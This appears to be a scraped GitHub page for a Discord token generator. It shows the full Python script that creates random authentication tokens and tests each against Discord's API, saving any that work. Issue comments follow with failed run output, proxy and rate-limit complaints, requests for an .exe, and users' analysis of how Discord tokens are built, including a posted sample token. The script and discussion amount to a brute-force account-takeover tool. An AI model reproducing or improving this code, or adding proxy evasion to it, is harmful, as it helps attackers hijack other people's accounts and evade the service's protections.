silvanohirtie / discord-token-generator Goto Github PK
View Code? Open in Web Editor NEWName says it all
Name says it all
when i open it just closes the gen i already did "pip install -r requirements.txt"
import random
import string
import os
import requests
import base64
N = int(input("How many tokens : "))
url = "https://discordapp.com/api/v6/users/@me/library"
current_path = os.path.dirname(os.path.realpath(file))
tokens = []
for i in range(N):
sample_string = str(random.randint(000000000000000000, 999999999999999999))
sample_string_bytes = sample_string.encode("ascii")
base64_bytes = base64.b64encode(sample_string_bytes)
base64_string = base64_bytes.decode("ascii")
token = base64_string+"."+random.choice(string.ascii_letters).upper()+''.join(random.choice(string.ascii_letters + string.digits)
for _ in range(5))+"."+''.join(random.choice(string.ascii_letters + string.digits) for _ in range(27))
tokens.append(token)
for token in tokens:
header = {
"Content-Type": "application/json",
"authorization": token
}
try:
r = requests.get(url, headers=header)
print(r.text)
print(token)
if r.status_code == 200:
print("[+] Token Works!")
with open(current_path+"/"+"workingtokens.txt", "a") as f:
f.write(token+"\n")
elif "rate limited." in r.text:
print("[-] You are being rate limited.")
else:
print("[-] Invalid Token.")
except requests.exceptions.RequestException as e:
print(f"Error: {e}")
This is not specific enough.
ran the script using python3 generator.py and
@FFUV ➜ /workspaces/Discord-Token-Generator (master) $ python3 generator.py
How many tokens : 10
{"message": "401: Unauthorized", "code": 0}
MjQ1NDQ4Mjc3NzU0NTEzODA2.TsdpZO.GQOwfiT1roh3YaP3AcNOnTjQzzI
[-] Invalid Token.
{"message": "401: Unauthorized", "code": 0}
NTc2NTUyNTcwOTM1NDg3NzE3.H6xHWk.XBBrSBMnpotN3RpkbOOkB4R2dCM
[-] Invalid Token.
{"message": "401: Unauthorized", "code": 0}
Mjg3MzEyMTk2NTAzMTE3OTU1.U0FvSO.sbqqFh6GIAtqVDlWAlWC2F7X5W8
[-] Invalid Token.
{"message": "401: Unauthorized", "code": 0}
NjQxOTg5NDAyMDU5MDQ0NTY4.HPi74f.qC3wKqN1rwbWrv4y3ADONwV8WaQ
[-] Invalid Token.
{"message": "401: Unauthorized", "code": 0}
ODI5NTEyOTMzODQwOTY1MDc5.HYBwC8.iXSik3j0LcZDN6NSCW3Dl83BHTx
[-] Invalid Token.
{"message": "401: Unauthorized", "code": 0}
NTM1MjU0NzU5OTk2MzcxNTk1.JJIkzb.ZcBdpPffEpHu3NWUPGSh7VOehqC
[-] Invalid Token.
{"message": "401: Unauthorized", "code": 0}
NDE0NTY1NjE4MzE3MTYyOTEw.YyjQ2O.Tr2emKEdDogdsaWBeTZQzvGxYq2
[-] Invalid Token.
{"message": "401: Unauthorized", "code": 0}
MzUwMTM0OTk0MTQ1NjY1NDM4.H8V9r9.IytWmPxwVq1ic7cScR0DTZ6Afkf
[-] Invalid Token.
{"message": "401: Unauthorized", "code": 0}
OTU5NTMxNjAyODQ4MzU5NjY2.Ijv2Z0.XvNuQ4qu1zTWF0CrvUH76bNlKzN
[-] Invalid Token.
{"message": "401: Unauthorized", "code": 0}
It has a whole lot of errors but this one I couldnt fix
It said invalid proxies and didnt say anything else besides a bunch of numbers and also "invalid response from proxy with python requests"
I have installed all the requirements. still not opening
N/A
???????????
If somone enables 2FA on their account, the token changes.
You can still log in with theses Tokens, like with normal ones.
Here is an example of my alt's Token: (replaced capital letters with A, numbers with 0 and small letter with a)
mfa.AAaAa0a0AaaAAaaaA0A_aAAAaAaAaAAaAAa000aa0AAaa0A-0A0aAAaa0aAAAAaa0aaaAaaAAA0aAa00aaaA
and after changing the password:
mfa.AaAaaAaAA0aaaAaaAAAaaaaaaaAAaaA0AaaaaaaAaAaAaAaAa0AaAA0aAA0-AaAaAaaAa00AAaA0AaAaaAAA
The 1st and the 2nd token doesn't have anything in common
(except. mfa.
the length and the fact that they only use certain chars (upper/lower case letters, numbers, -
or _
)
my alt had a verified email and no verified mobile idk if this changes something
Maybe You can figure out how they are generated (could be a hash of a normal token? idk)
Thanks
PS Everyone who reads this, dont try to bruteforce the tokens, I deleted the account
Please DM me discord: 12enric#2121
In requirements.txt, I found that base64 wasnt valid, i did a google search and it should have been pybase64.
Can u make it so we can use as a .exe?
Are Valid tokens allready saved to a txt
i alltimes get the answer
BAD PROXY
{"message": "401: Unauthorized", "code": 0}
NzgzNDA3NjkwMDk3OTM5OTg5.OvhrTE.X7kStasYMNtEwvQd9aVwYbD6vk3
←[31m[-] Invalid Token.←[0m
BAD PROXY
dont know if it now realy generate tokens or not.
Is there a way to automatical save valid tokens in a txt file.
Hello I installed the requirements but cannot open it. I open it but nothing started
When i do "py generator.py" it says:
Traceback (most recent call last):
File "C:\Users......\Downloads\Discord-Token-Generator-master\generator.py", line 5, in
import proxygen
File "C:\Users......\Downloads\Discord-Token-Generator-master\proxygen.py", line 1, in
from lxml.html import fromstring
ModuleNotFoundError: No module named 'lxml'
You should add more token types to generate user tokens also, I believe they mostly start with "Nzg4Nj" here is an example one from a random account I created Nzg4NjkxNTI0NjMxMTM0MjM5.X9nMbQ.3rvyZgpwn-CFCV0bqw1ax8RquMw (don't worry, this account is completely useless) and when I made 6 tokens, they all started with "Nzg4Nj". Please consider using this idea, and if you want to work on this with me, my discord username is: The Maligator#9760 If you want, I could also send you more tokens so you could see how they look. Thank you.
Is this Discord Token Generator real and working or just generating random letters?
This is my question..
when I open it it just close it self
z5n2kfra8p0\localcache\local-packages\python310\site-packages (from -r requirements.txt (line 1)) (2.27.1)
Collecting lxml
Downloading lxml-4.7.1-cp310-cp310-win_amd64.whl (3.7 MB)
---------------------------------------- 3.7/3.7 MB 388.9 kB/s eta 0:00:00
ERROR: Could not find a version that satisfies the requirement base64 (from versions: none)
ERROR: No matching distribution found for base64
What is this????
the title says it all
when i launch generator.py, it asks how many tokens i want.
after that, it just spams "BAD PROXY" over, and over again.
Add proxy support
tried generating 10k tokens this way, got 0 valids
ofc was using proxies, around 40 private proxies, 100% not valid tokens
The token structure you provided is somewhat invalid. Yes, the first part of the token is the user ID base64 encoded, but after the second dot, it's a timestamp. So, a Discord token has three parts. If you decode the first part of the token, which is base64, to a string, it returns the user ID. You already know this since that is what the script is doing in just reverse order. Anyway, onto the next part. The second part of the token, if you decode it base64 as well, you get a timestamp. Then you use the epoch for tokens, which is 1293840000
, and with that result, you decode the Unix timestamp, and then you can get the timestamp at which it was created.
Could not open requirements file: [Errno 2] No such file or directory: 'requirements.txt'
I haven't used pip3 before, could I get any help?
I generated some tokens by changing the passwords and Discorverd something interesting:
base64userid.YAwfew.randomstuff
base64userid.YAwgGA.randomstuff
base64userid.YAwgSA.randomstuff
base64userid.YAwgew.randomstuff
base64userid.YAwgtQ.randomstuff
base64userid.YAwg6w.randomstuff
base64userid.YAwhCA.randomstuff
The first 3 letters (of the middle block) are always the same
and the letters after it are kinda similar
When doing this with Bot tokens
this 6 letters are completly the same!
seems like the first 3 letters represent some account info that doesn't change
and the other 3 letters only change at user accounts
So this is my idea of Token Syntax:
-
or _
); not random-
or _
) that are userspecific for bots; not random-
or _
)and for user accounts with mfa enabled #12
A declarative, efficient, and flexible JavaScript library for building user interfaces.
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google ❤️ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.